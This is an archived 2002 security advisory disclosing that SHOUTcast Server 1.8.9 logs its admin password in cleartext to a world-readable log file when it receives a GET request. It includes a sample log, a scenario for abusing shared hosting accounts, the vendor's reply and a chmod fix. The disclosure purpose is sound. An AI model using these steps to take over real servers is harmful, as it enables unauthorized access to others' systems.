______________________________________________________________
Fate Research Laboratories
Security Advisory
Package: Nullsoft SHOUTcast Server v1.8.9
Vendor Web Site: http://www.shoutcast.com
Versions: < = Latest (v1.8.9)
Platforms: Windows, FreBSD, Linux, Mac, Solaris
Advisory Title: DJ For a Day! Retrieving the SHOUTcast Admin
Password through GET /.
Advisory ID: F820020731:SHOUT
Issue Date: Thu Aug 1 11:24:12 EDT 2002
File(s): sc_serv.log, sc_serv
Local: Yes
Remote: No
Fix Available: No
Vendor Contacted: Yes (08/03/2002)
Researcher: Alan "ph33r" Neville <ph33rat_private>
Fate Web Site: http://www.fatelabs.com
_______________________________________________________________
1. Overview
There exists a flaw in the logging function for SHOUTcast,
whereupon a GET request sent to port 8001 of the SHOUTcast
server triggers the administrative password to be logged
to a world readable logfile (sc_serv.log) located in the
SHOUTcast directory. This attack requires a local user
account to the machine. This attack is especially damaging
to shared user environments such as web hosting companies
that allow shell access to their users to a machine hosting
the SHOUTcast server.
2. Exploit
Point a web browser at the SHOUTcast server port of (:8001)
http://192.168.0.1:8001
Other methods reproduced this exploit such as telnet and
winamp directly with a simple GET request. Any TCP connection
made to this port will fill the debug screen and log File
with the cleartext password of the admin account.
----------------- debug log file ----------------------------
-rw-r--r-- 1 ph33r ph33r 2364 Aug 2 03:20 sc_serv.log
bash-2.05a$ tail -50 sc_serv.log
<08/02/02@03:20:01> [SHOUTcast] DNAS/FreeBSD4 v1.8.9
(Mar 29 2002) starting up...
<08/02/02@03:20:01> [main] pid: 69400
<08/02/02@03:20:01> [main] loaded config from sc_serv.conf
<08/02/02@03:20:01> [main] initializing (usermax:32 portbase:8000)...
<08/02/02@03:20:01> [main] No ban file found (sc_serv.ban)
<08/02/02@03:20:01> [main] No rip file found (sc_serv.rip)
<08/02/02@03:20:01> [main] opening source socket
<08/02/02@03:20:01> [main] source thread starting
<08/02/02@03:20:02> [main] opening client socket
<08/02/02@03:20:02> [main] Client Stream thread [0] starting
<08/02/02@03:20:02> [main] client main thread starting
<08/02/02@03:20:02> [source] listening for connection on port 8001
<08/02/02@03:20:13> [source] invalid password from GET
favicon.ico HTTP/1.1 changeme 192.168.0.2
<08/02/02@03:20:17> [source] invalid password from GET
/ HTTP/1.1 changeme 192.168.0.2
<08/02/02@03:20:17> [source] invalid password from GET
/ HTTP/1.1 changeme 192.168.0.2
<08/02/02@03:20:17> [source] invalid password from GET
/ HTTP/1.1 changeme 192.168.0.2
<08/02/02@03:20:23> [source] invalid password from GET
/ HTTP/1.1 changeme 192.168.0.2
<08/02/02@03:20:24> [source] invalid password from GET
/ HTTP/1.1 changeme 192.168.0.2
<08/02/02@03:20:25> [source] invalid password from GET
/ HTTP/1.1 changeme 192.168.0.2
<08/02/02@03:20:26> [source] invalid password from GET
/ HTTP/1.1 changeme 192.168.0.2
/* changeme is the default password shipped with the
SHOUTcast Server as seen above */
----------------- debug log file ----------------------------
3. Impact
The impact of this vulnerability can obviously be quite
damaging. Lets take for instance that a malicious user decides
to open up some "trial" web hosting accounts on several ISPs
that he has identified as offering a SHOUTcast service from
their machine. The user then opens up his free 30-day trial
account and aims several GET requests to port 8001 of the machine
where the SHOUTcast server is listening. The user than logs
into the machine and locates the location of the SHOUTcast log file
(sc_serv.log) using the locate or find command. Now, what makes
this vulnreability possible is that SHOUTcast makes no warnings in their
documentation that the log file by default is world readable.
This obviously means that any user on the system can actually
tail or cat the log file for the admin password. Repercussions
obviously being complete administrative control of the SHOUTcast
server.
4. Vendor Response
Nullsoft was contacted on 08/03/2002 whereupon Fate Labs pasted
this Advisory to an email, while providing additional details on
the Problem. Tom Pepper responded with quite dissidence. A
statement from his email reads:
"I fail to see how this constitutes a "critical problem".
Well, unfortunately Nullsoft doesn't see this as an issue.
Even going as far to say that the clear-text password being
logged to the logfile was An "oft-request" made by SHOUTcast
users. After debating the points made by Nullsoft in a followup
email, no further responses were received. However, much to
the credit of Nullsoft, a recommendation was made to enforce
strict umodes on the SHOUTcast binary. It was their belief that
if appropriate user access was used to start the Sc_serv binary,
this wouldn't be an issue. We found this to be false.
Following the instructions of the README file as well as
starting the binary with a non-privileged user, we were in fact
still able to reproduce the problem.
5. Solution
Until Nullsoft considers this to be an issue, we recommend the
SHOUTcast admin ensures appropriate permissions on the logfile
with a simple chmod 750. (chmod 750 sc_serv.log)
(c) Copyright 1997-2002 Fate Research Labs. All Copyrights Reserved.
Web: http://www.fatelabs.com
This archive was generated by hypermail 2b30 : Tue Aug 06 2002 - 14:53:16 PDT